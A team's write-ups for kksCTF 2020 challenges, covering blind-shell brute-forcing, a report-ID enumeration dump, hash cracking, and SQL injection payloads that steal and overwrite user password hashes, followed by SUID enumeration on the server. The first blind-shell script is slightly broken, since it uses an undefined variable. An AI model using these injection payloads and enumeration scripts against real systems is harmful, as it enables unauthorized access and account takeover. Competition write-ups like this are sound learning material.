kksCTF 2020 writeups
Last weekend we played in kksCTF 2020 and managed to finish in 7th place. We had a lot of fun and we solved the challenges you find in this article.
You can find files and exploits on our repository, at the url:
https://github.com/r00tstici/writeups/tree/master/kksCTF_2020
Blind Shell
Category: misc
Points: 345
Solved by: 4cul, 01baf, crypt3d4ta
Problem
It's simple enough, either you've succeeded or you've failed.
Connect here: nc tasks.kksctf.ru 30010
Writeup
In this challenge we are dealing with a particular shell.
When we execute a command we have a fixed output which consists of
"Success!" in case the execution is successful and "Failed!"
on the other hand.
For example:
$cat
Success!
$c
Failed!
The idea is to find files in the current directory, using the terminal output to our advantage.
With the aid of ls, wc, and grep, it’s possible to see inside the current directory the number of files, and also their names
To see how much files are in the current directory we’ve run this piece of commands:
$ ls | wc -l | grep 1
Failed!
$ ls | wc -l | grep 2
Failed!
$ ls | wc -l | grep 3
Success!
And to see the name of each file:
First we’ve looked with what letter each filename begins:
$ ls | grep ^f | wc -l | grep 1
Success!
$ ls | grep ^v | wc -l | grep 1
Failed!
$ ls | grep ^m | wc -l | grep 1
Success!
$ ls | grep ^s | wc -l | grep 1
Success!
So there are 3 items into the directory, respectively beginning with ’f’, ‘m’ and ‘s’.
Second, using this information, we’ve run the following commands, in order to know their full names:
$ ls | grep ^f
Success!
$ ls | grep ^fl
Success!
$ ls | grep ^fla
Success!
$ ls | grep ^flag\.t
Success!
$ ls | grep ^flag\.txt
Success!
The obtained files were:
- flag.txt: text file
- server.py: python script
- maybehere: directory
The same procedure is used to read from flag.txt:
from pwn import *
alphabet = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!"#()+,-/:;<=>?@[]^'
conn = remote('tasks.kksctf.ru', 30010)
conn.sendline("cat flag.txt | grep ^L")
conn.recvline()
read = 'L'
while True:
for i in alphabet:
test = read + i
print(test)
conn.sendline("cat flag.txt | grep " + test)
if chr(r[2]) == 'S':
read = test
break
print("Here's your content: ", read)
After launching the script we obtain:
Look_around,maybe_here
The suspect was that inside maybehere directory there was something interesting;
so we’ve tried to change the current directory into ./maybehere, but we’ve noticed
that ‘cd’ command actually doesn’t change directory - in fact, we’ve tried to type ‘cd /’,
but the current working directory remains the same, even if it returns “Success!”.
Again, thanks to the superpowers of ls, cat and grep, we’ve looked that into
/maybehere there was the file flag.txt; so we’ve run the same script in order to get its content,
and we’ve finally discovered the flag
Script:
from pwn import *
alphabet = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!"#()+,-/:;<=>?@[]^'
conn = remote('tasks.kksctf.ru', 30010)
conn.sendline("cat maybehere/flag.txt | grep kks{")
conn.recvline()
flag = 'kks{'
while True:
for i in alphabet:
test = flag + i
print(test)
conn.sendline("cat maybehere/flag.txt | grep " + test)
r = conn.recvline()
print(r)
if chr(r[2]) == 'S':
flag = test
break
if flag[-1] == '}':
break
print("Here's your flag: ", flag)
Flag
kks{Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz19g}
Encrypted Storage 1
Category: Forensics
Points: 359
Solved by: staccah_staccah
Problem
Our client was attacked by some ransomware. Maybe it was separatist dwarves?
He send us encrypted filesystem. Decrypt it, he need some data from secure storage.
Writeup
Let's start by analyzing the file with the file command and see that it is an ext4 filesystem.
We mount it with the command:
mount -t ext4 filesystem /mnt/disk1
Here we find 4 folders, each with a file inside that appears to be corrupt.
Analyzing their hexdump, however, we can see that 4 bytes have been added to the beginning of each file.
By removing them (and saving them for later) we get the original files.
In particular, one of the files is a zip in which there is a flag.txt file, but to extract it you need a password.
After looking in vain for password clues within the other files, I tried bruteforce and it worked:
Finally we find the flag contained in flag.txt: kks{n0t_s3cur3}
Encrypted Storage 2
Category: Forensics
Points: 367
Solved by: staccah_staccah
Problem
Sometimes stupid hackers leave behind signatures that can be used to find them - the one that wrote ransomware is no exception.
Writeup
By concatenating in the right order the bytes we previously removed from the files to rebuild them in the challenge Encrypted Storage 1 and converting them to ascii we have our flag: kks{1_w4s_h3r3!}
Lynx
Category: Web
Points: 204
Solved by: hdesk
Problem
Hello! We're BluePeace organisation, and we introduce the new project - Lynx Forum!
Writeup
I knew of a command line based browser named lynx, so
$ yay -S lynx
$ lynx http://tasks.kksctf.ru:30070/
WELCOME
Let's defend our friend - Lynx - from robots!
(C) BluePeace, 2053
Says something about robots, so:
$ lynx http://tasks.kksctf.ru:30070/robots.txt
User-agent: * Disallow: /a4d81e99fda29123aee9d4bb
$ lynx http://tasks.kksctf.ru:30070/a4d81e99fda29123aee9d4bb
kks{s0m3_CLI_br0ws3rs_4r3_us3ful}
Red Green Blue Cadets
Category: Forensics
Points: 411
Solved by: staccah_staccah
Problem
Our spy take this picture from KGB special school. They have strange uniform, doesn't it?
Writeup
Opening the image we immediately notice that the military caps are colored with 3 colors: Red, Blue and Green. A clear reference to RGB but in a different order, namely RBG.
Using the Data extract option on StegSolve and setting RBG we get the flag:
flag: kks{s4lut3_t0_c4d3ts!}
bson
Category: misc
Points: 331
Solved by: 4cul, 01baf, crypt3d4ta
Problem
This is the last time i'm asking, who the f is bson??
Attached (bson.json)
{"task_name":"bson", "message_pack_data":"82a36b65795ca4666c6167dc003137372f27362f6c3203352f033f6c6c30033e292803343d2a6f0325332903282e35393803316f2f2f1c3b39032c3d3f3721"}
Writeup
We are provided with a JSON file, inside which there are 2 fields:
- task_name, containing "bson" string;
- message_pack_data, containing a hexadecimal string.
With high odds, the flag is stored inside the message_pack_data field.
By doing a rapid research (and by exploiting the hint left by the "message_pack_data" name) it's clear that the field message_pack_data holds into a message formatted in MessagePack - an efficient binary serialization format.
Using one of the many online MessagePack-JSON conversion tools we obtain:
{
"key" = 92,
"flag" = [55,55,47,39,54,47,108,50,3,53,47,3,63,108,108,48,3,62,41,40,
3,52,61,42,111,3,37,51,41,3,40,46,53,57,56,3,49,111,47,47,
28,59,57,3,44,61,63,55,33]
}
What we have is a key and a flag, that consists of decimal numbers. We notice that in a flag's array elements begins with 2 identical number then we can imagine an association between the characters of the ASCII code and the flag.
So the aim is to obtain the ASCII of each element of the flag in function of key and the same element.
Doing a XOR decimale between the key and each flag's array element, we obtain what we've looking for: the ASCII encoding of the character expressed in decimal.
#!/bin/env/python3
key = 92
flag = [55,55,47,39,54,47,108,50,3,53,47,3,63,108,108,48,3,62,41,40,
3,52,61,42,111,3,37,51,41,3,40,46,53,57,56,3,49,111,47,47,
28,59,57,3,44,61,63,55,33]
ascii_flag = []
for item in flag:
xor_result = key^item
ascii_flag.append(chr(xor_result))
for item in ascii_flag: print(item, end="")
Flag:
kks{js0n_is_c00l_but_hav3_you_tried_m3ss@ge_pack}
cypherpunk2077
Category: web
Points: 392
Solved by: hdesk, drw0if
Problem
If you have found any bugs in latest AAA projects, please report them using this pretty good service.
Writeup
Starting the navigation we are greeted with two links:
Let's start with the second one: the page shows up only one entry:
whose content can be found in the public file. Guessing we changed the url to private and we found the private key too. The content can be found in the private file.
Let's move to the report funcionality. There is a textbox and a name. Let's try to sign a message with the public key and submit it via the form:
gpg --import private # to import the private key
echo 'test-string' > in.txt
gpg -u trust -a -e in.txt # with report as username
cat in.txt.asc
-----BEGIN PGP MESSAGE-----
hQGMAyDF2996B8eFAQv7B6DRQqwoWUA5I/QYsG/eIyt0ezFVIMXsvwc8B/LjqjaZ
DXrQnDZrRRLWoVPqlWvlVFkQCFPgxhHcwCKQEdhalwKTBwaJHTG9cuNo/RpAPfRP
ejxBJIDvRvmvjhgd9o2HiiW/8qlh/0U+y3lomiPDEsnzu52fXqkztJPSDHqS4v+E
RSGK8ZPDdSXMwo6Fgsp92RkZQGlhBAKZ6Yj5BElQaZwrc0T75RbvgKvsofhZ1ldw
taT2bFZezJc6EocGXfrxZQCK3JhNk/OHcl+qAgCPhcx+rAD41f4QDXeCBltDtMaF
7zqfjYZ09r04uV8PZLsUvsjlOPuXwYG8rtJrnPJ1v4BOj5rmZqTM5f4+uP1mPfwB
GnckG7NTHNpr5wmLaP3cy/eMax7x0dHkDRehOb0JUEQ7vufSEfbscu4BCL+2CLP+
lFqpJbb2ZQeblE+hxrQWTJFugrQ3h3aylN4GGctsyJR1L2YJ/0A6kQ8co3e0p5zt
Ce+MsqRGcEJOmEe1BEVK0k0B49Q/V8OvrhLkbxe8Qd/ScAe4x+m9ZRrnwHi3XGJE
0wFliGB20dttBjdFTAeH8iCgozP1LoYw7ayEPn4ufC5pAv5iCWSKejgdRzj7ag==
=79Cd
-----END PGP MESSAGE-----
Submitting this text we are moved to http://tasks.kksctf.ru:30030/reports/3402
Let's try to change the number:
http://tasks.kksctf.ru:30030/reports/1
Bingo we have different text. Let's dump the entire report database.
mkdir downloaded
for i in {1..3500};do
wget http://tasks.kksctf.ru:30030/reports/$i -P downloaded
done
Let's extract the message with some regex:
import sys
import re
import os
for l in os.listdir('downloaded'):
with open(f'downloaded/{l}', 'r') as f:
a = f.read()
regex = r'(-----BEGIN PGP MESSAGE-----(.|\n)*-----END PGP MESSAGE-----)'
result = re.findall(regex, a)
with open(f'stripped/{l}', 'w') as f:
f.write(result[0])
print(l)
Let's decrypt them with the gpg tool itself:
for i in `ls extracted`; do
gpg --decrypt extracted/$i 2> /dev/null 1>> out/dump
echo '' >> out/dump
echo $i
done
In the end checking the dump file we can easily locate the real flag:
kks{in_2077_what_makes_someon3_a_ctf_player7_getting_flag}
fonction_spéciale
Category: crypto
Points: 240
Solved by: 01b4f
Problem
Selon une mission secrète du gouvernement pour un ordinateur doté d'intelligence, une fonction mathématique spéciale a été développée. Voici des exemples de ses entrées et sorties:
f(2522521337)=1215221512112317 f(1215221512112317)=1112111522111511122112131117 f(1112111522111511122112131117)=31123115223115312221121113317
Puisque l'intelligence artificielle ne veut plus nous obéir, nous avons besoin de votre aide pour trouver le résultat de la fonction
f(2229555555768432252223133777492611)=x
Le drapeau a la forme kks{x}.
Dans la composition de cette fonction, j'ai été aidé par un écrivain avec les initiales B. W., qui aime aussi les énigmes, comme nous et vous ;)
Writeup
The challenge consists of forecasting a mathematical function result by having in example 3 of its application.
The idea is to find some pattern knowing that:
- Between the number of digits in input and those in output there isn't any evident regularity;
- Digits that appears in input, also appears in output.
Steps
- Group any recurrence of the same digit:
1215221512112317 --> [1][2][1][5][22][1][5][1][2][11][2][3][1][7]
- For each group, two digits are produced: the first tells how much that digit repeat itself; the second tells the considered group digit. So:
[1]-->11 (1 times 1) [2]-->12 (1 times 2) [5]-->15 (1 times 5) [22]-->22 (2 times 2) [11]-->21 (2 times 1) [3]-->13 (1 times 3) [7]-->17 (1 times 7)
- Thus coming to have the output:
1112111522111511122112131117
Resolution
Having in input "2229555555768432252223133777492611"
Let's produce groups of recurring digits:
[222][9][555555][7][6][8][4][3][2][5][222][3][1][33][777][4][9][2][6][11]
Obtaining:
32_19_65_17_16_18_14_13_12_15_32_13_11_23_37_14_19_12_16_21
Flag:
kks{3219651716181413221532131123371419121621}
Happy New Year (parts 1, 2, 3)
Category: Pwn
Points: 504 - 556 - 650
Solved by: drw0if - kusky
Problem
Part 1:
The new year is approaching, so kksctf offers you to play secret Santa. The rules are simple, you go in, choose who to send your greetings to and wait for someone to congratulate you.
Note: the recipient doesn't know who send the email. Share a little happiness with this app. Good luck!
Oh, Yes, I almost forgot, they brought you some big gift.
nc tasks.kksctf.ru 30040
Part 2:
Will you be able to become the main Santa?
Part 3:
Have you found the root for all the presents?
Writeup
Part 1:
The challenge comes with a 64 bit stripped ELF file.
Before reversing the binary let's use the netcat service to have an idea about the software:
We are greeted with a simple menu with 3 choices:
Let's register since we don't have an account
Now we have a new menu with 4 choices. Let's try all of them:
Seems that there is nothing more we can do here.
Let's start with the reverse. We opened it in Ghidra and as always if the binary is stripped we can find the main function from the entry point since a pointer to the main function is the first argument passed to __libc_start_main
.
Main function is just used to check if a parameter is passed to the program, then attempts to convert the parameter into an integer and passes it to a function. This function tries to open a socket connection on the port specified as argument.
Let's have a deep dive into the connection handler function:
The first block is used to handle the menu and the signup/signin phase
The function that handles show participant
function is a wrapper to another function which execute sqlite query:
)
The query isn't treated as a stirng by Ghidra for an unknown reaso but forcing it to treat the byte sequence as a CterminatedString the result is
SELECT username from users where username != 'kks_santa';
This is a simple select query so not enough to discuss.
Let's have a look at the signup handler:
The username and the password are requested. The username is passed via a simple series of check that prevents sqlinjections since if the checks fails Bad username! Evil h4ck3r
is printed.
The password is passed in a complex function that I assumed to be an hash algorithm since at the end an hex digest is built. At the end username and password are passed to a function which is used to craft an sql query to insert the new record.
Here again some strings are treated as long value but what is important is that nothing seems to be broken here. Almost the same procedure is built around the login functionality.
The juicy part comes with the second block:
First things first the code does a check on the username. If kks_santa
has logged in the loop breaks and we can go into the third block of code otherwise we reach the user private menu. Without discussing too much let's focus on the vulnerable part since we already faced most of the reversing problem we encountered during this long reverse.
The send message procedure asks us for a receiver and a message. The receiver is passed via the same checks username is passed into and then the insert query is made.
The query is simply INSERT INTO messages(to_user, letter) VALUES (%s, %s)
and then the values are interpolated. The problem is that only the username is checked. We can make an sqli to take control over the database.
Let's think about a way to gain kks_santa
credentials: we can steal the hash but we should also reverse it and we don't know the algorithm used.. But we can also overwrite the santa hash wit our own value and use the same password!
Let's craft the payloads:
"); INSERT INTO messages(to_user, letter) SELECT "drw0if", password FROM users WHERE username="drw0if"; -- #
We can use this payload to stel our hash and exfiltrate it from the inbox functionality. Let's try it:
Our hash is: 5f4dcc3b5aa765d61d8327deb882cf99
Let's use it to replace everyone's hash:
"); UPDATE users SET password="5f4dcc3b5aa765d61d8327deb882cf99"; -- #
Now we should be able to login as kks_santa
with password password
Let's try it.
We also gained the first flag since in the third block of the handler code a function is called to retrieve a key from the database and display it.
Part 2:
The third block of code starts with the first flag print. then a new menu is printed with some new feature for example the "show all messages" (it's a scam, lol) and relax
.
The loop breaks when local_20 is 0x80 and local_a is 'k'. local_a is the "variable" that stores our choice, local_20 is never used here but is passed to the relax option handler as reference.
This funcionality increments the "beer" counter and if it reaches some values we are greeted with different comments. Let's increment that counter with a simple copy paste of python -c "print '4\n'*0x80"
output.
Last part of the handler code is a basic shell built upon popen
function. So we gained a partial RCE.
Let's have a loop at the suid files:
$ find / -perm /4000
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/mount
/usr/bin/umount
/home/santa/secret
No privesc seems to be available here but the last file is interesting. Let's execute it:
$ /home/santa/secret
This incident will be sent to the main Santa. I'll say you've been bad this year.
Let's exfiltrate it via base64 encoding:
cat /home/santa/secret | base64
The file is provided by this repo. Opening it into Ghidra it is really easy to understand:
So all we need to do is to execute the binary with the variable set:
$ SECRET_TOKEN_ENV="4lm057_d0n3" /home/santa/secret
kks{w0w_y0u_4r3_7h3_r007_s4n74_6u7_did_y0u_74k3_411_7h3_pr353n75}$
Part 3:
Let's have a quick look at all the other files with "find".
The last one listed seems to be coherent with the challenge description
$ cat /gifts/gift_for_you/flag.txt
:,5[m9mTre9mT)]9iP/19mT6S9iOi5:2NES>&%1s9mT)\=aF+c:23dT9giK;:01SE:3pDr:3p&h:K1A39mU;q:/kD59mT5a=__(p:3pP/:I.-,$
I got stuck here for a while since kusky
started working with me on this challenge. Using cyberchef he decrypted it with the following recipe:
In the end it was a wonderful challenge and we learnt a lot, starting from sqlite3 syntax to encoding techniques to binary exfiltration in a pseudo shell.
PS. we dumped the full /server directory except from database so if you want to make your attempts feel free to use the repo.
hashfunction
Category: web
Points: 513
Solved by: hdesk, SM_SC2, 0xThorn
Problem
One solution for storing passwords securely in applications is to store a hash of the password. Or it's not?
http://tasks.kksctf.ru:30020/
Writeup
Inspecting the code and doing some tests we can see that each 8-characters-long digest block is related only to one 4-characters-long block of the provided password.
For example
Password | Hash |
---|---|
1234 | 553b6a59 52d04dc2 0036dbd8 313ed055 |
12341234 | 553b6a59 553b6a59 3f1cf75d 7068baae |
So, the idea is:
- Find all possible combinations of 4 characters using only the printable ones.
- Compare each 8-characters digest block with each provided hash block.
- Compose the password.
After few seconds, we obtain the following results
The password is )R)ck4r^K>AwGJK-
In order to obtain the flag we have to send a x-www-form-urlencoded
POST request to http://tasks.kksctf.ru:30020/login
with the following data:
username : admin
password : )R)ck4r^K>AwGJK-
Flag:
kks{1f_s0meth1ng_called_md5_1t_d0esnt_have_t0_be}
motor_sounds
Category: Misc
Points: 268
Solved by: Iregon
Problem
Жжжжжжжжжж, виииив, виииив, жжжжжжжж...
Zhzhzhzhzhzhzhzhzhzh, viiiiv, viiiiv, zzhzhzhzhzhzhzh ...
Writeup
If we open the file that is given to us with any text editor we notice that inside it there are some writings that can be identified as GCODE, the following is an extract:
Since the GCODE is used to encode the actions that are sent to a 3D printer, let's try to open the file with a slicing program for 3D printers (Ultimaker Cura will be used in the following examples):
We immediately notice that there are 3 writings, by rotating them in a position that allows us to read the central writing we will be able to see the flag:
Flag:
kks{W3_c@N_1n_3D!}